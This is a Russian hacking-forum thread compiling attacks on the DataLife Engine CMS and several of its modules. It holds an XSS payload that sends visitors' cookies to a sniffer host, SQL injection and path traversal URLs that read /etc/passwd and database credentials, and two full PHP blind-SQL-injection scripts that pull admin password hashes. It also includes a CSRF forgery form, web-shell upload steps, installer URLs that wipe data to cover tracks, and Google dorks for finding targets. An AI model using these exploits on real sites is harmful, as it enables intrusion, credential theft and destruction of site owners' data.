Обзор уязвимостей [DataLife Engine] Сайт производителя: www.dle-news.ru Актуальная версия: 8.5 DataLife Engine v.3.7 [Раскрытие установочного пути] В parse.class.php выделено 12582912 байт на проверку сообщения. Переполнение делается так: "<<><><><><><>>" [ХСС] Угнать кукисы можно при помощи вставки картинки. -- этим можно воспользваться всегда, даже если нету таких кнопок при добавлении новости, личном сообщении, добавления коментария. Непосредственно сама ХСС: Code: [IMG=left]http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document. cookie;'><!--[/IMG] [Проблемы с SQL] Code: http://target.net/category/topic/ -- где topic -- это не существующая тема. Результат: SELECT id FROM nws_category WHERE parentid=not detected ; Версия 4.1 возможно более ранние SQL Injection. Описание: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример: Code: http://[host]/index.php?subaction=userinfo&user=[code] DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl) DataLife Engine <= 4.1 Remote SQL Injection Exploit (php) SQL injection for <=4.1 version exploit RGdatalife - exploit (php version)
в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем.. пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем. Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим... баг в функциях оптимизации базы http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption пакеты браузера расскрытие при повторном посте и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/ так же мона юзать xss method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize или ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair вообщем имеем пост ксс и расскрытие пути з.ы. сначала незаметил и создал новую тему ^^
DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает) Листилка (читалка) файлов там где не стоит мэйджик квотез: Code: http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00 Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет... (c) Scipio
Раскрытие полного установочного пути (для авторизированых юзеров) Code: index.php?do=pm&doaction=newpm&user[]= Результат Code: Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49
blind sql-inj в неофициальном модуле к Dle files (файловый архив) уязвимость после order by в параметре orderby Пример запроса: Code: http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+ Эксплоит: PHP: <?php set_time_limit(0); /*-----------------------------------------------------*/ //Эксплойт для модуля Files(модуль файлового архива) к DLE //Автор: H00K /*-----------------------------------------------------*/ /*-----------------Настройки---------------------------*/ $host="symbiware.org";//указываем хост $catid = "38";//Указываем id существующей категории $userid = "0";//Указываем id администратора /*-----------------------------------------------------*/ $good = "MySQL Fatal Error"; $bad = "Архив файлов"; $path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),"; $end = ",(select%201%20from%20dle_downloads),url)+--+"; $index = 1; $result = ""; function GetMiddle($min, $max) { return floor($min+((($max+1)-($min-1))/2)); } function Check($min,$max) { if (($max-$min)<=2) { global $index; global $result; global $host; global $path; echo "Символ найден: "; if (($max-$min)==1) if (CheckSQL($host, $path, $index.",1))={$max}")) $result .=chr($max); else $result .=chr($min); if (($max-$min)==2) { if (CheckSQL($host, $path, $index.",1))={$max}")) { $result .=chr($max); } else { if(CheckSQL($host, $path, $index.",1))={$max}-1")) $result .=chr($max-1); else $result .=chr($min); } } echo substr($result,strlen($result)-1)."<br>"; flush(); $index++; return true; } else return false; } function CheckSQL ($host, $path, $st) { global $end; $line=""; $fo = fsockopen($host, 80, $errno, $errstr, 30); if(!$fo){die ("no connect");} else { $headers="GET ".$path.$st.$end." HTTP/1.1\r\n"; $headers.="Host: ".$host."\r\n"; $headers.="Connection: Close\r\n\r\n"; global $good; global $bad; fwrite($fo, $headers); while (!feof($fo)) { $line = fgets($fo, 512); if (strpos($line,$good)) { fclose($fo); return true; } if (strpos($line,$bad)) { fclose($fo); return false; } } fclose($fo); } return false; } if (CheckSQL($host, $path, $index.",1))+between+1+and+255")) echo (" Идет подбор символов...<br>"); else die("Ошибка"); for ($i=0;$i<32;$i++) { $min = 31; $max = 123; $ok = true; while ($ok == true) { $num = GetMiddle($min,$max); if (!check($min,$max)) { if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}")) { echo("Меньше $num <br>"); $max = $num; } else { echo ("Больше $num <br>"); $min = $num; } flush(); } else $ok = false; } } echo $result; ?> © H00k
Нашёл XSS в модуле DLE Forum 2.1 Code: http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script> Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать ) З.Ы. Гуглом ищутся по запросу: intitle:"Работает на DLE Forum"
Ещё забавную багу нашёл в модуле DLE Forum 2.1 Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего): Создайте страничку со следующим кодом: Code: <form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01"> Forum ID: <input type="text" name="forum_id" value="2"><br/> Topic ID: <input type="text" name="topic_id" value="1"><br/> Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным --> Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/> UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим --> UserMail: <input type="text" name="mail" value="[email protected]"><!-- Вписываем что хотим --> <input type="submit"> </form> Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.
Blind SQL Injection в в модуле DLE Forum 2.1: На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае. Для выполнения, нужно залогиниться. Для начала нужно добавить иньекцию в БД Примеры: Code: http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 -- Code: http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) -- Затем, для её выполнения нужно обратиться по адресу: Code: http://site/index.php?do=forum&act=subscription При написании неудачного запроса, его нужно удалить командой: (это важно!) Code: http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL] Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html З.Ы. Сорри, что не добил скуль до конца, времени не хватает, но это возможно.
SQL Injection в в модуле DLE mChat v. 2.0: Нашёл в админке, и после ORDER BY, наверное бесполезная, но: Code: http://site/admin.php?mod=mchat&start_from=SQL И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой): Code: http://site/admin.php?mod=mchat&mchat_per_page=1SQL Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
Раскрытие пути в модуле DLE mChat v. 2.0: Code: http://site/admin.php?mod=mchat&action=mess_del Code: http://site/admin.php?mod=mchat&action=do_mess_del Тоже админка
Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0: При отправке сообщения, вида: Code: <a href="http://www.ya.ru">А исправь ка</a> В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики) З.Ы. <script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.
Раскрытие пути в DataLife Engine v.6.7: Code: http://site/engine/inc/init.php http://site/engine/inc/preview.php http://site/engine/data/dbconfig.php (работает не везде) http://site/upgrade/error.php http://site/upgrade/finish.php http://site/upgrade/template.php Раскрытие пути в модуле DLE Forum 2.1: Code: http://site/dle-forum.php Раскрытие пути в модуле DLE mChat v. 2.0: Code: http://site/engine/ajax/mchat.refresh.php Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде. Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок З.Ы. Если кому надо - обращайтесь (написал на Java).
Вот ещё нашёл в модуле DLE Forum 2.1: Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так: Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик.. Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев. Безопасно посмотреть префикс к таблицам БД можно так: Code: http://site/dle-forum.php?action=upgrade
То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки. В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю: Code: http://site/mcinstall/?action=doinstall
DataLife Engine 6.7 vulnerability or higher 1. Бага заключается в следующем. Смотрим сорс страницы пользователя PHP: <script language="javascript" type="text/javascript"> <!-- var dle_root = '/'; var dle_skin = 'wf_0_1'; var dle_wysiwyg = 'no'; var menu_short = 'Быстрое редактирование'; var menu_full = 'Полное редактирование'; var menu_profile = 'Просмотр профиля'; var menu_fcomments = 'Найти все комментарии'; var menu_send = 'Отправить сообщение'; var menu_uedit = 'Админцентр'; var dle_req_field = 'Заполните все необходимые поля'; var dle_del_agree = 'Вы действительно хотите удалить этот комментарий?'; //--> </script> Теперь смотрим сорсы страницы админа PHP: <script language="javascript" type="text/javascript"> <!-- var dle_root = '/cms/dle/'; var dle_admin = 'admin.php'; var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; var dle_skin = '123'; var dle_wysiwyg = 'no'; var menu_short = 'Быстрое редактирование'; var menu_full = 'Полное редактирование'; var menu_profile = 'Просмотр профиля'; var menu_fnews = 'Найти все публикации'; var menu_fcomments = 'Найти все комментарии'; var menu_send = 'Отправить сообщение'; var menu_uedit = 'Админцентр'; var dle_req_field = 'Заполните все необходимые поля'; var dle_del_agree = 'Вы действительно хотите удалить? Данное действие невозможно будет отменить'; var dle_del_news = 'Удалить новость'; var allow_dle_delete_news = true; //--> </script> Собственно это нам и нужно HTML: var dle_admin = 'admin.php'; // скрипт адмиского входа. var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5 Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз. Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте. PHP: <?php if(isset($_POST["frame"])) { $fh = fopen("gibson.txt","w+"); fwrite($fh,$_POST["frame"]); fclose($fh); } else{ ?> <html> <head> <script> function sendFrame(FrameID,FormID,TextareaID) { content = document.getElementById(FrameID).contentDocument.text; document.getElementById(TextareaID).value = content; document.getElementById(FormID).submit(); } </script> </head> <body> <div style="display:block;"> <form action="gibson.php" method="post" id="form0"> <textarea name="frame" id="text0" style="display:none;" ></textarea> <input type="submit" name="ok" value="ok" style="display:none;" > </form> </div> <IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" > </IFRAME> </body> </html> <?}?> ps Скрипт работает в опере с локальными адресами! В фф сек эрроры) 2. Ну и так для развлечения ксс PHP: http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.cookie); Нужно только чтобы рисунки были включены.
DataLifeEngine Online Mod Exploit Blind SQL Injection DLE Online Mod Exploit Blind SQL Injection Нашел багу я, а эксплойт написал Евгений Минаев Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем. Выдерает хеши любого юзера, шифрация md5(md5($pass)) PHP: <?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster * Need magic_quotes_gpc off and mysql version higher than 4.0 (on server) * * Useful: email, password, name * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.0 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_0.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to [email protected] so we can mail you a copy immediately. * * @category Exploit * @package None * @author Eugene Minaev <[email protected]> * @copyright 2008 ITDefence.ru * @license http://www.php.net/license/3_0.txt PHP License 3.0 * @version CVS: $Id:$ * @link http://underwater.itdefence.ru * @since File available since Release 0x00 */ @set_time_limit(0); @ini_set('output_buffer', 0); ?> <html> <head> <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title> <style type="text/css"> body{ font-family: Tahoma; font-size: 12px; color: #e1e1e1; background-color: #222; } </style> </head> <body> <center> <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>"> dle path:<input type="text" name="server" value="http://localhost/dle/" /> <br/><br/> admin id: <input type="text" name="userid" value="1" /> <br/><br/> <input type="submit" /> </form> </center> </body> </html> <?php if (!empty($_POST)) { $_ = create_function('$error', 'die("$error");'); $userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null; $server = isset($_POST['server']) ? $_POST['server'] : null; $alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'); $responce = null; $password = null; $curpos = 1; $alppos = 0; $flag = false; $pathinfo = parse_url($server); if (false === is_array($pathinfo) or empty($pathinfo['host'])) { $_('invalid url'); } else { $fsocket = fsockopen($pathinfo['host'], 80) or $_('hostname is dead'); $request = "GET {$pathinfo['path']} HTTP/1.1\r\n" . "Host: {$pathinfo['host']}\r\n" . "Cookie: dle_onl_session='underWHAT?!\r\n\r\n"; fwrite($fsocket, $request) or $_ ('failed to write data to socket'); while ($flag === false){ $responce .= fread($fsocket, 128); $flag = strpos($responce, '</html>') ? true: false; } $flag = false; if (strpos($responce, 'MySQL Error') > 0){ while (strlen($password) < 32) { $fsocket = fsockopen($pathinfo['host'], 80) or $_('hostname is dead'); $responce = null; $cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*"; $request = "GET {$pathinfo['path']} HTTP/1.1\r\n" . "Host: {$pathinfo['host']}\r\n" . "Connection: close\r\n" . "Cookie: dle_onl_session=$cookie\r\n\r\n"; fwrite($fsocket, $request) or $_ ('failed to write data to socket'); $responce = fread($fsocket, 8000); if (!strpos($responce, 'returns more than 1 row')){ $password .= $alphabet[$alppos]; $curpos += 1; $alppos = 0; } else { $alppos += 1; } $flag = false; $responce = null; fclose($fsocket); } } else { die ('<center><h1>not vulnerable</h1></center>'); } echo "<center><h1>$password</h1></center>"; } } ?> Google dork: "20ка посетивших:"
Datalife Engine 6.7 XSRF Datalife Engine 6.7 XSRF _http://securityvulns.ru/Tdocument552.html Exploit: http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF] Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html
Заливка шелла через админку Datalife Engine Версию точно определить не смог, но в сорцах написано про 2008 год. Итак, заходим в админцентр. Далее нажимаем "Другие разделы" Выбираем где-то в конце "Архив файлов" Идём на "Настройка Архива Файлов" Допустимые форматы файлов: дописываем php. Сохраняемся, идём в "Добавить файл". Заливаем шелл Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке. Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините.. Потом, может, сниму видео...
Попробуй через редактирование шаблона сайта. Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему. Вообщем как-то так. Экспериментируйте.